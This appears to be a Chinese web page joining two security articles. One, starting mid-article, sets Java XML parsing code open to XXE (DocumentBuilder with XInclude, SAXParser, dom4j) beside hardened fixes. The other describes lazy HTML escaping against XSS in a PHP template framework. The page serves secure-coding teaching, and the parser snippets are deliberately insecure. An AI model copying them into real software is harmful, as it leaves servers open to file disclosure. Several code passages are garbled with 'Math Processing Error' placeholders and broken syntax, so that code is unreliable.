    Document document=db.parse(is);  // parse xml

    // 遍历xml节点name和value
    StringBuilder buf=new StringBuilder();
    NodeList rootNodeList=document.getChildNodes();
    for (int i=0; i < rootNodeList.getLength(); i++) {
        Node rootNode=rootNodeList.item(i);
        NodeList child=rootNode.getChildNodes();
        for (int j=0; j < child.getLength(); j++) {
            Node node=child.item(j);
            buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
        }
    }
    sr.close();
    return buf.toString();
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

6.9.2 代码2:

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
    DocumentBuilder db=dbf.newDocumentBuilder();
    StringReader sr=new StringReader(body);
    InputSource is=new InputSource(sr);
    Document document=db.parse(is);  // parse xml

    // 遍历xml节点name和value
    StringBuilder result=new StringBuilder();
    NodeList rootNodeList=document.getChildNodes();
    for (int i=0; i < rootNodeList.getLength(); i++) {
        Node rootNode=rootNodeList.item(i);
        NodeList child=rootNode.getChildNodes();
        for (int j=0; j < child.getLength(); j++) {
            Node node=child.item(j);
            // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
            if (child.item(j).getNodeType()==Node.ELEMENT_NODE) {
                result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));
            }
        }
    }
    sr.close();
    return result.toString();
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

6.9.3 修复代码:

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    DocumentBuilder db=dbf.newDocumentBuilder();
    StringReader sr=new StringReader(body);
    InputSource is=new InputSource(sr);
    db.parse(is);  // parse xml
    sr.close();
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

6.9.4 代码3,支持XInclude:

6.9.4.1何为XInclude

Xinclude即为XML Include,其实就是文件包含,其作用很大时候可以使得代码更加简洁,当需要使用其中的内容的时候再把文件包含进来,可以参考php的include

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
    dbf.setXIncludeAware(true);   // 支持XInclude
    dbf.setNamespaceAware(true);  // 支持XInclude
    DocumentBuilder db=dbf.newDocumentBuilder();
    StringReader sr=new StringReader(body);
    InputSource is=new InputSource(sr);
    Document document=db.parse(is);  // parse xml

    NodeList rootNodeList=document.getChildNodes();
    response(rootNodeList);

    sr.close();
    return "DocumentBuilder xinclude xxe vuln code";
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

修复代码;

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);
    DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();

    dbf.setXIncludeAware(true);   // 支持XInclude
    dbf.setNamespaceAware(true);  // 支持XInclude
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

    DocumentBuilder db=dbf.newDocumentBuilder();
    StringReader sr=new StringReader(body);
    InputSource is=new InputSource(sr);
    Document document=db.parse(is);  // parse xml

    NodeList rootNodeList=document.getChildNodes();
    response(rootNodeList);

    sr.close();
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

6.10 XMLReader&SAXParserFactory

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    SAXParserFactory spf=SAXParserFactory.newInstance();
    SAXParser saxParser=spf.newSAXParser();
    XMLReader xmlReader=saxParser.getXMLReader();
    xmlReader.parse(new InputSource(new StringReader(body)));

} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

修复代码:

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    SAXParserFactory spf=SAXParserFactory.newInstance();
    SAXParser saxParser=spf.newSAXParser();
    XMLReader xmlReader=saxParser.getXMLReader();
    xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
    xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    xmlReader.parse(new InputSource(new StringReader(body)));

} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

6.11 DocumentHelper

try {
    String body=WebUtils.getRequestBody(req);
    DocumentHelper.parseText(body); // parse xml
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY;

不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。

文由腾讯WeTest团队提供,更多资讯可直接戳链接查看:http://wetest.qq.com/lab/

微信号:TencentWeTest

对于新接触web开发的同学来说,XSS注入是一件非常头疼的事情。就算是web开发多年的老手,也不敢保证自己写的代码完全没有XSS注入的风险。

因为现在比较主流的XSS防治手段主要有两种,一种是在用户输入是将异常关键词过滤,另一种则是在页面渲染时将html内容实体化转义。

然而第一种方法一定程度上对业务数据要求相对较高,存在屏蔽数据和业务数据有冲突的情况,例如“程序类帮助文档的编辑保存”,“外站帖子爬虫”等等。都不能无差别将异常关键词过滤掉,必须保持原输入内容的完整性。

而另一种html内容实体化的方式,又非常的依赖开发的编程习惯。一个不小心漏写了就是一个安全工单,做web的前端同事应该深有体会。于是,我开始研究能不能不再依赖开发习惯,从框架层面上完全屏蔽XSS。

这里先介绍一下我的PHP web Server框架,是我自己从从事web开发开始就一直在维护更新的框架,链接在此,有兴趣的同学,可以看下。或者提出更多改进的建议。

首先来看下普通的PHP是怎么转义html实体的:

htmlspecialchars($content, ENT_QUOTES | ENT_SUBSTITUTE) ENT_QUOTES 意思是需要转义双引号(”)和 单引号 (’)

ENT_SUBSTITUTE 意思是 把无效的编码替代成一个指定的带有 Unicode 替代字符

首先很容易想到的是把php模版中的字符串全部替换掉。

而熟悉smarty的同学应该知道,其实smarty的模版渲染也是用了转义字符串的方式。那我们渲染页面的代码可以这么写。

/**

* 获得模板渲染后的内容

* @return string

*/

public function getContent

{

//防XSS注入

foreach ([Math Processing Error]

[Math Processing Error][Math Processing Error]

}

unset($param);

    extract($this->params);
    ob_start;
    //include template
    $file=sprintf('%s/template/%s.tpl.php', TXApp::$app_root, $this->view);
    include $file;
    $content=ob_get_clean;
    return $content;
}

这样的话,传入的字符串类型的变量都会被替换掉了。但是问题也很明显。那就是如果是数组或者object对象,里面的内容就无法进行转义了。而这同样也是smarty的一个弊端,smarty是在assign方法里进行的实体化转义,如果是数组或者object就无视了。当然我们还需要更进一步的进行转义处理。

有同学看到这里肯定会有个想法,如果是数组的话,递归进行转义处理不就可以了吗。

事实上我一开始的确是这么做的,但是弊端也很明显。递归的层数越多,性能损耗就越大。而且并非所有进行转义的内容我们都会用到,这样就会造成性能的浪费。最优化的处理方式就是当需要用到的时候再做转义处理,没用到的时候该咋样还是咋样。

于是我开始着手自己写一个类,在我的框架里我命名为TXArray 继承了ArrayObject,也就是让其具备了array的部分性质。接下来开始进行array 方法重构。以下是部分代码

class TXArray extends ArrayObject

{

private [Math Processing Error]

public function __construct($storage=array)
{
    $this->storage=$storage;
}

public function getIterator
{
    foreach ($this->storage as $key=> $value){
        $key=$this->encode($key);
        if (!isset($this->encodes[$key])){
 $this->encodes[$key]=$this->encode($value);
        }
    }
    return new ArrayIterator($this->encodes);
}

public function offsetGet($k)
{
    if (isset($this->storage[$k])){
        $key=$this->encode($k);
        if (!isset($this->encodes[$key])){
 $this->encodes[$key]=$this->encode($this->storage[$k]);
        }
        return $this->encodes[$key];
    }
    return null;
}

public function offsetExists($k)
{
    return isset($this->storage[$k]);
}

public function offsetUnset($k)
{        
    unset($this->storage[$k]);
    $k=$this->encode($k);
    unset($this->encodes[$k]);
}

public function offsetSet($k, $value)
{
    $this->storage[$k]=$value;
    $this->encodes[$k]=$this->encode($value);
}

public function count
{
    return count($this->storage);
}

private function encode($value)
{
    if (is_string($value)){
        $value=is_string($value) ? htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE) : $value
    } elseif (is_array($value)){
        $value=new self($value);
    }
    return $value;
}

} offsetGet 会在[Math Processing Error]

这样一个递归的转义模型就写好了。也实现了用到时才转义的目标。

但是还有个问题。并不是所有字段都需要转义的,例如我们平台的舆情监控数据,数据来源主要是各大贴吧论坛,数据本身包含了图片img,字体颜色等html元素。在展示时并不希望被模版转义。所以我在框架上继续优化。添加了PHP的魔法方法__get

public function __get($k)
{
    return isset($this->storage[$k]) ? $this->storage[$k] : null;
}

public function get($key)
{
    return $this->__get($key);
}

也就是说只要调用[Math Processing Error]

另外看业务也再需要加上一些对array的处理方法,例如array_key_exists,in_array, join等。或者直接使用__call 魔法方法

public function __call($method, $args)
{
    $args=&$this->storage;
    return call_user_func_array($method, $args);
}

public function serialize
{
    return serialize($this->storage);
}

public function __invoke
{
    return $this->storage ? true : false;
}

public function keys
{
    return array_keys($this->values(false));
}

然后我们在页面模版里就可以愉快的使用了

但是这个TXArray还是有个问题,就是如果需要转化成json全部下发给js使用的话,那里面的数据就无法被转义了。当然也可以递归先全转义一遍,但总觉得代码不够漂亮。这个问题我还会继续研究。有新的进展和优化我都会上传到我的 PHP开源组件框架 中,大家有什么好的建议都可以rtx跟我探讨沟通哈